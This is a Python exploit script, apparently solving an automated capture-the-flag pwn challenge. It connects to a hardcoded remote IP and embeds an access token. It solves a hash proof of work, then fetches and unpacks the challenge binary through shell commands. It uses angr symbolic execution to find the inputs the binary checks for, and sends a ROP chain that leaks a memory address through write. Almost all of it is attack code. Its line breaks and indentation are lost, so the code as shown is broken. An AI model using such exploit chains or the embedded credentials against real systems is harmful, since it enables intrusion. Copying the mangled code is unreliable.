1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134
|
import angr import claripy import sys import multiprocessing import time from pwn import * import hashlib, itertools, string, base64 context(arch = 'amd64', os = 'linux', log_level = 'debug') context(terminal = ['xfce4-terminal', '-x', 'zsh', '-c'])
token = "icqbd4092dd79915594a0db6985d85fd" HOST, PORT = "39.96.72.181", 42732 p = remote(HOST, PORT)
def solver(val, name) : alpha_set = string.printable algorithm = getattr(hashlib, name) for i in itertools.permutations(alpha_set, 4) : s = ''.join(i) if algorithm(s).hexdigest()[:20] == val : return s print("GG not found...") return -11
p.recvuntil("x[:20] = ") val = p.recv(20) p.recvuntil("<built-in function openssl_") name = p.recvuntil(">")[:-1] print("{} & {}".format(val, name)) res = solver(val, name)
p.sendlineafter("> ", res) p.sendlineafter("Please input your token: ", token) p.recvuntil("Creating pwn file, please wait ...\n\n\n\n") data = p.recvuntil("\n\n\n")[:-3] bindump = base64.b64decode(data)
with open("recv.tar.gz", "wb") as f : f.write(bindump) os.system("tar -zxf recv.tar.gz -C ./chal") os.system("upx -d chal/pwn*") os.system("mv chal/pwn* ./pwn-chal")
p.recvuntil("Your docker run port [") port = int(p.recvuntil("]")[:-1])
p.recvuntil("password is \"") password = p.recvuntil("\"")[:-1] p.close()
print("port: {}, password: {}".format(port, password))
''' binary: ./pwn-chal write analysis here... write exp in payload '''
elf = ELF("./pwn-chal") load_segments = [x for x in elf.iter_segments() if x.header.p_type == 'PT_LOAD'] code_segment = load_segments[0] code = elf.read(code_segment.header.p_paddr,code_segment.header.p_filesz)
sub = "\x55\x48\x89\xe5\x8b\x05" func_list = [] index = code.find(sub) while index != -1: func_list.append(index+0x400000) index = code.find(sub,index+1)
func_list.append(0x405ef7)
def solve(q, i, start_address, success_address): start = time.clock() path_to_binary = './pwn-chal' project = angr.Project(path_to_binary) initial_state = project.factory.blank_state(addr=start_address+34) simulation = project.factory.simulation_manager(initial_state) res = simulation.explore(find=success_address)
if len(res.found) > 0: solution = res.found[0].posix.dumps(0) elapsed = (time.clock() - start) print("Here used:",str(i), " ", elapsed," ",solution) q.put(str(i)+' ' + solution) else: raise Exception('Could not find the solution')
q = multiprocessing.Queue() for i in range(100): p = multiprocessing.Process(target = solve, args = (q, i, func_list[i], func_list[i+1] )) p.start()
count = 0 ans_list = [] for i in range(100): ans_list.append(0) while count != 100: ans = q.get(True) count = count + 1 ans_list[int(ans[:3])] = int(ans[3:]) ans = '' for i in ans_list: ans += str(i)
p = remote(HOST, port)
p.sendlineafter("Please input your password: ", password)
payload = ans p.sendline(payload)
pop_rsi_r15 = 0x0000000000406011 pop_rsp = 0x0000000000406620 pop_rdi = 0x0000000000406013 write = 0x400640 rop_chain = p64(pop_rsi_r15) + p64(0x00609048) + p64(0) + p64(pop_rdi) + p64(1) + p64(write) + p64(0x405ef7) p.sendlineafter("WOW,U R GREAT !", rop_chain)
p.interactive()
|